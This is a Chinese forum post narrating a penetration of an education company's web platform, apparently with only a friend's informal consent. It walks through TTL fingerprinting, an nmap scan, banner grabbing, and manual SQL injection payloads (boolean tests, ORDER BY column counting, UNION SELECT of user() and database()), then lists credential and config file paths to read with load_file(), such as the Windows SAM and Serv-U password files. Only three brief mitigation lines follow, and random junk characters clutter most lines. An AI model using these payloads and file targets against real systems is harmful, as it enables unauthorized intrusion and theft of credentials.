题记：
+ e8 o+ I2 ] q' [1 a一位朋友在某教育公司，一套网络教育平台。一年前，在2008年8月份的时候，我看到了这套平台，当时发现了个注入漏洞，测试了一下，得到一个可用帐户后就没有再继续下去。今天7月，又说到此事，我决定继续下去……* Z! S5 P* G# k, W
第一步：获取需要的信息
* L. Y) ]$ _. U. G2 H由于之前测试过，知道此系统某处存在SQL注入漏洞。但由于时隔一年，岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址，现在需要重新收集服务器有用信息。
% Q5 m; X( B. M6 d注：以下为保护特用XXX代替敏感信息+ P. W& Z: ^' ^4 g
顺手先PING了一下他们的域名：
& m& o: }/ n; P' Q) z6 L$ V2 gping XXX.XXX.XXX.XXX（本文约定：用XXX.XXX.XXX.XXX代表测试IP和域名）9 i, o! ?$ h5 P7 f
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms( w2 H9 R- ?7 d. o/ U! j* h, r
顺便了解一下TTL，学好基础知识才能一路顺风：0 [4 f0 ]. }3 w8 w. }
TTL：(Time To Live ) 生存时间% }6 O' b. t" r2 s
指定数据包被路由器丢弃之前允许通过的网段数量。3 \7 Y/ I/ y" Q! Y* R0 `0 y0 q5 {
TTL 是由发送主机设置的，以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时，要求路由器至少将 TTL 减小 1。
3 `$ K+ m! s1 a# @1 l# T使用PING时涉及到的 ICMP 报文类型$ _5 j# `) x" B' N. r
一个为ICMP请求回显（ICMP Echo Request）( Q# s9 J2 v3 e" o+ @
一个为ICMP回显应答（ICMP Echo Reply）
( ~+ w6 b( B4 L3 z, u9 z8 rTTL 字段值可以帮助我们识别操作系统类型。9 [, Z7 i$ ]4 ?" ?1 _6 ] Y7 R
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255* E7 ]9 N7 |. U, K/ l9 D
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64 y, [/ t9 A0 T% `" }: b3 Z% J8 I9 |! X
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128: n1 ]9 i1 c, B. B. V9 K1 w# C
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 327 R5 F4 D( W/ u8 o! G4 N/ V8 o
当然，返回的TTL值是相同的; B/ D- b. y8 V9 R+ Y
但有些情况下有所特殊
' q$ v- O2 V5 l2 O% ?6 y b: |LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64: M& J! P) \) H
FreeBSD 4.1, 4.0, 3.4;6 y, A$ D4 I/ e
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;; P$ h2 _2 r* ~/ O/ J; I/ {+ \
OpenBSD 2.6, 2.7,2 y; H/ b; o, Q
NetBSD
, N4 U/ H- u/ ?/ B1 z8 o% kHP UX 10.20% Q" r5 k7 R0 y N) Q
ICMP 回显应答的 TTL 字段值为 255
0 i" m1 {9 p1 q' aWindows 95/98/98SE
7 @" P4 l: H- X# y9 m) wWindows ME
( O+ {7 G5 L$ I6 Z9 ^6 w& yICMP 回显应答的 TTL 字段值为 32
/ k6 n$ R1 C/ ~% ^8 c: ZWindows NT4 WRKS
, w' g/ S6 D NWindows NT4 Server$ o/ s) y1 o$ j& _& s
Windows 2000' w: O) G Q% a( W* Z
Windows XP
2 |0 @1 ^' m5 \; w' A) GICMP 回显应答的 TTL 字段值为 128
: F& M) b, p0 o) s( I这样，我们就可以通过这种方法来辨别操作系统6 o# k4 v6 [) _% _
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值，其数据就是默认的TTL值了，我们可以修改，但不能大于十进制的255
: D' ?6 X q# a/ }用NMAP扫描一下：. X% K7 p" F8 g r' j8 {
nmap -sT -O XXX.XXX.XXX.XXX
, y5 e ^: L) T8 h如果没有装WinPcap则会弹出提示：
. p& q' \( ?7 i4 nWARNING: Could not import all necessary WinPcap functions. You may need to upgr3 D: g" ]- B# H$ {3 q
ade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(
7 D8 O8 ?6 `* p' @6 i$ s) mode — Nmap may not function completely9 ^! o }5 m. U$ _
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
$ R* J4 q, B1 H6 H. ~" o# Iand iphlpapi.dll be installed. You seem to be missing one or both of these. Win2 @ q7 v/ e; m% t( O) ?
pcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an/ R+ @8 x( D. O3 x& f
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v8 v" }7 t3 Z. o9 G$ Z
ersions, you may be able to take iphlpapi.dll from another system and place it i
2 u& B1 F2 r( {# ~5 u4 un your system32 dir (e.g. c:\windows\system32).
6 e* m0 _/ n. V `0 N/ ^( x% f; P+ e* tQUITTING!6 B; {+ @8 s" s" L" L0 ^+ M
到这里下载： http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
4 v& d+ d' W5 ~) ]4 E5 f( @安装后继续执行刚才的命令，等待扫描完毕后得到入下信息：5 W0 D. l I/ s
Interesting ports on XXX.XXX.XXX.XXX:
9 @1 Q6 D* l4 ~& F& d7 YNot shown: 986 closed ports" g7 g! f, E! Y( g/ y) K
PORT STATE SERVICE
) p/ G- x9 Z- b# I21/tcp open ftp
' M6 E9 o1 T* N; X$ @ X22/tcp open ssh+ z% H s! W* W r' y2 I" Y3 q
23/tcp open telnet. \; \4 b8 K0 ~! `8 Q
80/tcp open http: d1 J5 A/ ?( n" T( ?
111/tcp open rpcbind# I( p$ A5 X6 `1 s5 J/ v! ?
135/tcp filtered msrpc* {! l; \" P0 r8 l/ D# j
139/tcp filtered netbios-ssn/ X# q( h( c4 ]! `6 }
445/tcp filtered microsoft-ds) H. x- q7 T8 r, h/ e
513/tcp open login2 D" c3 O/ d$ u9 P4 I% o
514/tcp open shell& X/ G* t4 _& h4 t
593/tcp filtered http-rpc-epmap: {) N/ a+ j* K/ D; Z1 ^; _2 }& m
1720/tcp filtered H.323/Q.931# F6 r @0 `# ^# [. @& _
3306/tcp open mysql
1 z. L; R7 _* w8 [2 [4444/tcp filtered krb5240 A4 I4 a, f0 B6 U
Device type: WAP
% D, n' y/ Y' s" V1 P6 uRunning: Linux 2.4.X& [0 _* A" l0 E0 M; U
OS details: DD-WRT (Linux 2.4.35s)
) [3 _' u) A/ E* `7 HNetwork Distance: 13 hops
% f( M$ B* g9 A- L看到SSH22端口是开着的，打开putty试一下，看是否可以正常连接：3 O5 A$ [5 j5 N4 B7 V& K% B5 m' n
login as:
& v' { h) B) J" b0 r6 b1 JTelnet23端口也是开着的，用telnet 命令链接一下：$ ^2 ]3 t; L3 i( \2 M1 g2 U8 l
telnet XXX.XXX.XXX.XXX
+ d- Z8 z5 o9 Y# [+ @提示：
4 y2 E1 h. T, v- g$ [+ L6 lRed Hat Enterprise Linux Server release 5.2 (Tikanga)
& W$ R3 t4 y; r0 T1 H l+ @) S- sKernel 2.6.18-92.el5PAE on an i686
$ U. N% A6 k) Z8 ]8 b6 P2 Jlogin:: o L, |: ^# c/ x5 W( o
获取HTTP头信息：
p3 s0 C6 h- U" y+ `" p$ f# F在本地执行如下PHP代码6 w$ B) j- m" e. H5 M1 X
<?php
# O* [% h0 t( z9 U% U9 K/ j$url = ‘XXX.XXX.XXX.XXX’;
/ U3 u2 b" F6 h! Y5 e5 W! Sprint_r(get_headers($url));4 e* X, _$ ~+ f& T0 S
print_r(get_headers($url, 1));
7 ~7 i/ ? I; Z?>$ b- h; x4 A6 O( [4 O
将以上代码保存为PHP文件，执行：" g3 {5 M6 O* `! b* k+ I, P& ~8 ?
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
/ @; ^0 y6 ~1 u4 s7 r现在可以得出结论：9 R: f0 Y" Q* X3 k. L1 L
系统版本：Red Hat Enterprise Linux Server release 5.2 (Tikanga)
1 P$ ]8 t3 J9 H Q0 _内核版本：Kernel 2.6.18-92.el5PAE on an i686" X3 y6 {1 {" x- I" ?" E' f
WEB服务器版本：nginx/0.7.61! u; _) I( G! s+ i/ E
第二步，开始测试寻找漏洞2 }' p% K2 z+ r
分析是否存在注入漏洞，因为上次曾发现存在过，所以注入则是我们的首选。5 v( ^" j, F4 O2 V& x1 X' B$ X" m' j
1、敏感地址：站内存在有类似：http://www.fovweb.com/XXX.php?id=123 这种地址，属动态传参的# C; s$ X* q1 l) w( w3 ~
2、测试方法：在地址后加 and 1=1 和 and 1=2 测试; @( c, N, B& k. W
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常/ R* ]% s M# \. c6 p
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误/ V1 h `" j+ y/ V- H6 U# K
恭喜，两次返回结果不同，则很有可能存在未过滤敏感字符而存在SQL注入漏洞，我们继续. \- a" {5 j* h2 U5 ~: U0 r
3、手工注入：
$ G0 t! i+ l' T& Z注入也应该有个思路，不能随便碰运气，要记住入侵检测不是靠运气而走下去的，要靠的是清晰的思路、过硬的技术、很全的知识面。
4 ^! f F5 y. b* X: [' x. }5 [3.1 猜测当前表字段数
- j; g- z; N5 J/ Ahttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
~2 W% O! d% A: o; @1 q此处猜测有个简单的算法，都是有技巧的吗，呵呵. A5 q( C2 Y! U3 p8 v6 Z3 o* N
算法简单如下：
* e+ {: I' {, y+ ] ~第一步：根据页面信息，大概估算一个数值，这个是要靠一定的经验了；
7 t* F: Y% @0 M, n第二步：取中算法，好比是10，如果返回错误，则取中间值5进行下一次猜测；- x- }1 V5 S. p
需要注意：如果所选数值在字段数范围内即小于等于，则会（返回正常）；如果所选数值在字段范围外即大于等于，则会（返回错误）。
3 z, }; \* S/ Y% E以此来判断，是否过界，配合取中算法猜出字段数。) ?, o1 L/ } ^
举例：
, q) C! u; m3 G/ Whttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
0 x% O3 ] V0 X: k+ N* I7 ]( _. ~1 Ohttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
& ]8 T. E9 |( w3 K9 ?3 t6 x! X此时3则为我们要找的字段数。9 K( W( G6 y/ Q; h) i
3.2 配合union联合查询字段在页面所位置: |' D2 X4 | B% S
我们已经知道了字段数为3，此时则可以做如下操作：
" C$ K+ G5 i! q/ |! p% `http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
; }5 v' W8 P5 R8 V
" Z/ D% {* h- ~* A4 T+ Q2 V这样就可以测试到哪些字段在页面上有所显示了，如图：
7 K( I& H6 N- M! |) s+ p( O) |' b3 V
% L2 m7 l# \2 M/ L3 D, x, I3.3 查敏感信息
& b9 J- f9 W* a) v4 z, w6 v# m" r* t) L这也是个思路问题，我们需要什么，其实到了这一步已经能做什么多事情了。
7 T8 _! b+ e; [/ [2 a% fhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
. t8 v( f" A/ ?3 G K4 O+ j* f' \3.3.1 先查数据库用户、数据库名，以备后用，如图：; S" }6 J0 s* D) |& @7 a
$ n4 C' l, {4 W. U
得到数据库用户为root、数据库名为DBxx；! y* p5 r# S7 ?" d& m7 c
3.3.2 查配置文件
0 T1 G, [% r2 g查配置文件，就是指查看系统敏感的文件，如web服务器配置文件等。
8 L$ H( F8 T) z查看文件有一定的条件限制：3 Q3 s) G% H& ]$ W. y& ^
欲读取文件必须在服务器上2 m' S" G5 M% y- [
必须指定文件完整的路径
* Y4 c) j! n! ~' e( N必须有权限读取并且文件必须完全可读; U8 w/ y, \/ }+ S3 s
欲读取文件必须小于 max_allowed_packet
- y8 K9 M$ c, Z+ Y" X$ ]) I$ eMYSQL注入中，load_file()函数在获得webshell以及提权过程中起着十分重要的作用，常被用来读取各种配置文件。
1 [. `# e6 h0 ]; J( z常用的一些：
) }) G! X' i; a# j/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/ m; y+ ]( m' e1 M/usr/local/apache2/conf/httpd.conf! o5 s5 T) M0 y( t1 g$ X) ~
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
2 v: ?; Q. N7 x0 O: T9 _$ f/usr/local/app/php5/lib/php.ini //PHP相关设置- T/ v+ r8 t, m
/etc/sysconfig/iptables //从中得到防火墙规则策略+ z& B& d5 F$ y
/etc/httpd/conf/httpd.conf // apache配置文件
# ]/ n1 U1 {! p5 M/ G/etc/rsyncd.conf //同步程序配置文件
( l, L# o) b$ {7 x7 i) o/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.! G* H* W8 \3 ?+ q; v' g& c
/etc/my.cnf //mysql的配置文件
6 t5 k; ?3 s6 s# n1 p1 g$ }/etc/redhat-release //系统版本% B3 X+ ]: l3 e7 N. r( u- P2 V
/etc/issue2 c+ {" ]+ y3 c& Q) q+ R
/etc/issue.net
8 g& O3 W& k* ^) zc:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码( E, F! H2 T" z
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码7 s$ g9 E. p* c4 q# e" D( T
c:\Program Files\Serv-U\ServUDaemon.ini
' I7 V2 f; a' h$ T2 Z+ Pc:\windows\my.ini //MYSQL配置文件
& B/ w/ m% D4 C' [" V9 Y0 Yc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件! c; `! r* `, D# t" z+ A' V
等等。实际上，load_file()的作用不止于此，它还可以用来读取系统中的二进制文件，& P- S) y8 k/ b% t6 ^/ J N
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
P1 Q4 J9 t! Yc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此8 y& N- j' N( t0 O( B/ G- S5 Q- W" ?
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
4 J1 w+ X9 U" F+ u( cC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件4 e8 j6 ~/ ]0 N3 W* A# H6 }
//存储了pcAnywhere的登陆密码- b9 r% P5 ~) M# u& G! x
由于之前得到信息，此台服务器是采用的nginx做的Web服务器，那我们就来试着找一下nginx的安装路径吧。3 @2 D! Z/ P5 o' m
这个没有技术性可言，纯靠经验和运气，由于很少用nginx不了解，我就先到网上搜索常用的安装路径，以及比较好的配置文档中的安装路径进行测试，最终，得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
; U) b( k8 p5 c0 `( z最后：防范措施
+ ]2 @6 y1 M* r* a) W' Y1、修复PHP注入漏洞；
* P! j9 l% M& {1 J2、Mysql使用普通权限的用户；* Y" z3 N5 L, ^8 V: P* [
3、升级linux内核至最新版本； |
发表于 2013-2-16 22:23:32
收藏
支持
反对